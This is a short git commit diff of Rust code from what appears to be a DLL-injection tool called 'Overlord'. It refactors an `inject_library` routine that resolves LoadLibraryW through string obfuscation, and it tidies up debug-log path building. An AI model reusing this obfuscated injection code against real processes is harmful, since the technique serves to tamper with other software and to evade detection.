fix warnings

This commit is contained in:
KingKDot
2026-08-20 10:25:33 -05:00
parent a9b7ca67ea
commit ea22c83c37
3 changed files with 20 additions and 29 deletions
+2 -1
View File
@@ -317,7 +317,8 @@ pub unsafe fn inject_library(process: usize, path: &[u16]) -> bool {
dbg_log!("inject: system dll not loaded — abort");
return false;
}
let load_library_w = unsafe { abi::GetProcAddress(k32, obf!(b"LoadLibraryW").as_ptr()) };
let load_library_name = obf!(b"LoadLibraryW");
let load_library_w = unsafe { abi::GetProcAddress(k32, load_library_name.as_ptr()) };
if load_library_w == 0 {
dbg_log!("inject: load-fn not found — abort");
return false;
+4 -4
View File
@@ -105,15 +105,16 @@ fn open_log() -> Option<usize> {
fn log_paths() -> Option<(Vec<u16>, Vec<u16>, Vec<u16>)> {
let env_name = obf16!(b"TEMP");
let mut temp = [0u16; 32768];
unsafe {
let len = abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32);
let len = unsafe {
abi::GetEnvironmentVariableW(env_name.as_ptr(), temp.as_mut_ptr(), temp.len() as u32)
};
if len == 0 || len >= temp.len() as u32 {
return None;
}
let prefix = &temp[..len as usize];
let base = concat_z(prefix, &obf16!(b"\\Overlord"));
let dir = concat_z(prefix, &obf16!(b"\\Overlord\\backstage"));
let pid = abi::GetCurrentProcessId();
let pid = unsafe { abi::GetCurrentProcessId() };
let mut file = prefix.to_vec();
file.extend_from_slice(&obf16!(b"\\Overlord\\backstage\\BackstageInjection-debug-"));
append_pid(&mut file, pid);
@@ -121,7 +122,6 @@ fn log_paths() -> Option<(Vec<u16>, Vec<u16>, Vec<u16>)> {
file.push(0);
Some((base, dir, file))
}
}
fn concat_z(prefix: &[u16], suffix: &[u16]) -> Vec<u16> {
let mut v = Vec::with_capacity(prefix.len() + suffix.len() + 1);
-10
View File
@@ -84,16 +84,6 @@ unsafe fn wr_u8(p: usize, off: usize, v: u8) {
core::ptr::write_volatile((p + off) as *mut u8, v);
}
#[inline(always)]
unsafe fn wr_u16(p: usize, off: usize, v: u16) {
core::ptr::write_volatile((p + off) as *mut u16, v);
}
#[inline(always)]
unsafe fn wr_u32(p: usize, off: usize, v: u32) {
core::ptr::write_volatile((p + off) as *mut u32, v);
}
#[inline(always)]
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
core::ptr::write_volatile((p + off) as *mut u64, v);